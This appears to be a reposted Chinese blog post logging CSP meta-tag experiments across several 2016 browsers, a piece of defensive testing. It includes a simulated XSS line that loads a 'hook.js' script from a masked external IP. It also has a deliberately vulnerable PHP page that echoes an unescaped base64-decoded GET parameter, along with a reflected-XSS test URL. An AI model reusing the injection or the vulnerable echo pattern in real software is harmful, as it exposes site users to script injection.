您的位置:首页 > 其它

csp策略实验结果记录

2016-09-08 00:00 295 查看
实验对象:

360浏览器 8.1 内核版本 45.0.254
ie11
firefox 48.0.1
edge 38.14
遨游 4.9.3

实验代码

<html>
<head>
<meta charset="gbk">
<meta http-equiv="Content-Security-Policy" content="default-src *;img-src 'self' XXX.oss-cn-qingdao.aliyuncs.com;style-src 'self' 'unsafe-inline';script-src 'self' 'unsafe-inline' 'unsafe-eval';"/>
<title>我做的很棒的弹出内容!</title>
<script>
function awesome() {
// 做些很棒的事情!
alert(123);
}

function totallyAwesome() {
// 做些棒极了的事情!
alert(234);
}

function clickHandler(element) {
setTimeout("awesome(); totallyAwesome()", 100);
}

function main() {
// 在这里进行初始化工作。
alert(666);
}
</script>
</head>
<body onload="main();">
<img width="100%" height="100%" style="margin-top: 10px;margin-left: 10px; width: 58px;height: 58px;" id="user-thumb"
src="http://jianbao.oss-cn-qingdao.aliyuncs.com/jianbao/tong/cloud/0b16d17bf8d241849acbd7896413beb8.jpg"/>
<button onclick="clickHandler(this)">
单击看看会发生什么!
</button>
</body>
</html>

(注意以上代码 meta中的规则不能换行 必须全部一行写完 否则火狐会不认识)

首先判断优先级

html的meta标签比 .htaccess优先级(htaccess控制的是http数据包的header)更加高

所以本文 全部在<meta>里面调试

script-src测试

script-src      'self' 'unsafe-inline' 'unsafe-eval';
修改为
script-src      'self' ;

360浏览器 edge浏览器 所有内联js不再执行

遨游 所有内联js不再执行(反正也只有内联js 整个页面js都不执行了)

ie 依然是万年毒瘤 居然不支持这个最关键的安全策略(关键是它不支持还不报错)

火狐大哥虽然支持

但是要求 meta中的规则必须 一行写完 我花了好多时间才发现这个爷爷多娇气 一个回车都不行

default-src 和 script-src img-src优先级测试

default-src 'self'
img-src 'self' XXX.oss-cn-qingdao.aliyuncs.com

script-src 'self' XXX.129.XXX.XXX

图片和js正常加载(注意 域名不加单引号 self和unsafe-eval等关键词加单引号)

default-src代表默认的加载规则 如果有子规则 如 default-src script-src 则具体根据子规则

除了ie其他全部浏览器支持

'unsafe-inline' 'unsafe-eval' 具体含义测试

script-src 'self' 'unsafe-inline' 代表可以执行 内联javascript

也就是 可以执行实验代码中的main函数 但是点击事件不执行

script-src 'self' 'unsafe-eval' 什么都不执行

script-src 'self' 'unsafe-inline' 'unsafe-eval' 则main函数和鼠标单击对应函数都执行针对动态函数

看看官方文档的解释

'unsafe-inline'
script-src 'unsafe-inline'
Allows use of inline source elements such as style attribute, onclick, or script tag bodies (depends on the context of the source it is applied to)
'unsafe-eval'
script-src 'unsafe-eval'
Allows unsafe dynamic code evaluation such as JavaScript
eval()

外联限制的js测试

<script>document.write('<scri'+'pt src="http://XXX.XXX.7.XXX/hook.js"></s'+'cript>');</script>

以上代码模拟攻击者 成功xss了一个外部的js

360和遨游(他俩内核一样 没啥区别)

script-src *  'unsafe-eval'  #不加载 外部js

注意上下两句话的区别

script-src * 'unsafe-inline' #加载了外部js

edge也都支持 还好还好.....ie完全不支持 已经发现 ie完全不支持这个csp了

某一种csrf测试

<html>
<head>
<!--<meta http-equiv="Content-Security-Policy" content="default-src *; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' 'unsafe-eval'">-->
<meta http-equiv="Content-Security-Policy" content="default-src 'self' jianbao.oss-cn-qingdao.aliyuncs.com; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' 'unsafe-eval'">
<title>我做的很棒的弹出内容!</title>
<!--<script>alert(123)</script>-->
</head>
<?php
echo base64_decode(@$_GET[id]);
?>
<body>

</body>
</html>

script-src 'self'  'unsafe-eval'

http://127.0.0.1/csrf.php?id=PHNjcmlwdD5hbGVydCgxMjMpPC9zY3JpcHQ+
PHNjcmlwdD5hbGVydCgxMjMpPC9zY3JpcHQ+
base64解码以后就是
<script>alert(123)</script>

除了ie别的都不执行(ie毒瘤快点死绝吧.....)

内页框架iframe和frame的防御

因为阻止了内联和动态js 入侵者往往会采取框架页嵌套 csp中也有防御框架页的攻击方式

child-src    'none'

框架显示空白

<meta http-equiv="X-Frame-Options" content="DENY">
DENY
表示该页面不允许在 frame 中展示,即便是在相同域名的页面中嵌套也不允许。
SAMEORIGIN
表示该页面可以在相同域名页面的 frame 中展示。
ALLOW-FROM uri
表示该页面可以在指定来源的 frame 中展示。


总结

csp策略严重依赖浏览器的支持 而且不同版本不同内核差别也很大

360遨游等使用webkit或者webkit的变种blink内核的这类浏览器能很好地支持csp策略

edge也能支持就是有些情况有点诡异

但是ie内核就依旧是万年毒瘤哪怕是版本比较高的ie11

根据csp策略的注解 ie12才能部分支持csp策略(打倒微软!)

参考

https://content-security-policy.com/
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: